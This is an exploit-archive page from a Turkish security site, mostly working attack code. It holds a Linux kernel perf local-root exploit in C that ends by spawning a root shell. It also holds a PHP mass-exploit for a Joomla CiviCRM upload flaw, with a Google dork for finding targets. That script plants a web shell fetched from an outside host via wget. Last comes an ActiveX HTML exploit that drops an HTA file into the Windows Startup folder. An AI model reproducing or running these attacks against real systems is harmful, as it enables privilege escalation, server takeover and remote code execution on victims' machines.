SecurityWeb.Org

• Position Finder

Archive for Genel

/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 , salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
  int i,j,k;
  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  uint64_t kbase = ((uint64_t)current)>>36;
  uint32_t *fixptr = (void*) AB(1);
  *fixptr = -1;

  for (i=0; i<4000; i+=4) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void*) p[0];
    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
      if (((uint32_t*)uids)[k] != t[j+k]) goto next;
      for (i = 0; i < 8; i++) t[j+i] = 0;
      for (i = 0; i < 10; i++) t[j+9+i] = -1;
      return;
next:;    }
  }
}

void sheep(uint32_t off) {
  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  int fd = syscall(298, buf, 0, -1, -1, 0);
  assert(!close(fd));
}


int  main() {
  uint64_t  u,g,needle, kbase, *p; uint8_t *code;
  uint32_t *map, j = 5;
  int i;
  struct {
    uint16_t limit;
    uint64_t addr;
  } __attribute__((packed)) idt;
  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  memset(map, 0, SIZE);
  sheep(-1); sheep(-2);
  for (i = 0; i < SIZE/4; i++) if (map[i]) {
    assert(map[i+1]);
    break;
  }
  assert(i<SIZE/4);
  asm ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  u = getuid(); g = getgid();
  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
    printf("2.6.37-3.x x86_64\ 2010\n") % 27);
  setresuid(u,u,u); setresgid(g,g,g);
  while (j--) {
    needle = AB(j+1);
    assert(p = memmem(code, 1024, &needle, 8));
    if (!p) continue;
    *p = j?((g<<32)|u):(idt.addr + 0x48);
  }
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  asm("int $0x4");  assert(!setuid(0));
  return execl("/bin/bash", "-sh", NULL);
}

# Exploit Title: joomla component com_civicrm remode file injection exploit
# Google Dork:"Index of /joomla/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart"
# Date: 20/04/2013
# Exploit Author: iskorpitx
# Vendor Homepage: http://civicrm.org
# Software Link: http://civicrm.org/blogs/yashodha/announcing-civicrm-422
# Version: [civicrm 4.2.2]
# Tested on: Win8 Pro x64
# CVE : https://securityweb.org

<?php

# Joomla component com_civicrm OpenFlashCart ofc_upload_image.php remote file upload exploit
# https://securityweb.org & http://www.security.biz.tr
# multithreading mass c:\appserv\www>exp.php -u http://target.com/ -f post.php

$options = getopt('u:f:');

if(!isset($options['u'], $options['f']))
die("\n Usage example: php jnews.php -u http://target.com/ -f post.php\n
-u http://target.com/ The full path to Joomla!
-f post.php The name of the file to create.\n");

$url = $options['u'];
$file = $options['f'];
$shell = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/{$file}";
$url = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name={$file}";
$data = '<?php
 system("wget https://securityweb.org/shell.txt; mv shell.txt post.php");
 system("cp post.php ../../../../../../../tmp/post.php");
 system("cd ..; rm -rf tmp-upload-images");
 echo "by iskorpitx" ;
 fclose ( $handle );
 ?>';
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');

echo " [+] Submitting request to: {$options['u']}\n";

$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);

if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && ($shell, 'r'))
{
echo " [+] Exploit completed successfully!\n";
echo " ______________________________________________\n\n {$shell}?cmd=system('id');\n";
}
else
{
die(" [+] Exploit was unsuccessful.\n");
}

?>

<html>
<object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='target'/></object>
<script>
var sofa = "..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\the_doctor_is_in.hta";
var king = "Oh noz, Look what Dr_IDE did...<" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
target.OpenFile(sofa,1);
target.AppendString(king);
</script>
<body>
LiquidXML Studio 2010 ActiveX Insecure Method Executable File Creation 0-day<br>
By: Dr_IDE<br>
GUID: {E68E401C-7DB0-4F3A-88E1-159882468A79}<br>
Number of Interfaces: 1<br>
Default Interface: _FtpLibrary<br>
RegKey Safe for Script: False<br>
RegkeySafe for Init: False<br>
KillBitSet: False<br>
<br>
<br>
<br>
Been sitting on this one so long it could've hatched twice.
</body>
</html>

• Yazılar Takvimi

  Eylül 2015

  Pts	Sal	Çar	Per	Cum	Cts	Paz
  « Haz
  	1	2	3	4	5	6
  7	8	9	10	11	12	13
  14	15	16	17	18	19	20
  21	22	23	24	25	26	27
  28	29	30

• Son Yazılar

  • Ubuntu 12.04, 14.04, 14.10, 15.04 – overlayfs Local Root (Shell)
  • Ubuntu Local Root Exploit
  • WordPress Quick Contact Form Plugin 6.0 – Persistent XSS
  • WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload Vulnerability
  • Joomla! Com_VirtueMart Component 2.0.22a – SQL Injection

• Son Yorumlar

  • Bir SQL injection Hikayesi için isko
  • Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit için navigate here
  • Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit için public safety alerts
  • Windows EPATHOBJ Local Ring 0 Exploit için 减肥药排行榜
  • Symantec Workspace Virtualization 6.4.1895.0 Local Kernel Mode Privilege Escalation Exploit için SegregacióN

• Arşivler

  • Haziran 2015
  • Şubat 2014
  • Ekim 2013
  • Eylül 2013
  • Ağustos 2013
  • Temmuz 2013
  • Haziran 2013
  • Mayıs 2013
  • Nisan 2013
  • Mart 2013
  • Şubat 2013
  • Ocak 2013
  • Aralık 2012
  • Kasım 2012
  • Ekim 2012
  • Eylül 2012
  • Ağustos 2012
  • Temmuz 2012
  • Haziran 2012
  • Mayıs 2012
  • Nisan 2012

• Etiketler

  antivirüsler antivirüs programları antivirüs programı antivirüs sistemleri avast avast antivirüs Açıklar sayesinde yüksek yetkiler alınarak pc ler ele geçiriliyor bilgisayar güvenliği bilim bilim ve teknoloji bilişim bilişim bilgileri bilişim nedir bilişim suçları Dd'Linux sql injection Forum Oxalis 0.1.2 Forum Oxalis 0.1.2 Sql injection güvenlik iletişim internet internet güvenliği joomla sql ManageEngine Security python exploit Microsoft internet ayarlarının yüksek olarak işaretlenmesini istiyor norton antivirüs Patch Tuesday Samba SetInformationPolicy metespoloit exploit Samba SetInformationPolicy remote exploit siber saldırıdan korunmak mümkün Siber saldırıdan korunmanın yolu SQL injection STUXNET virüsünü Tecno Dynamics LFI Tecno Dynamics sql injection teknoloji teknoloji bilim ilişkisi teknolojinin önemi teknoloji ve bilim web web bilgisi web güvenliği wordpress WP-TopBar Eklentisi Cross Site Request wordpress WP-TopBar eklentisi XSS Açığı İnternet Explorerde yeni güvenlik açıkları İran Nükleer Programı

• UserOnline

  8 Users Çevrimiçi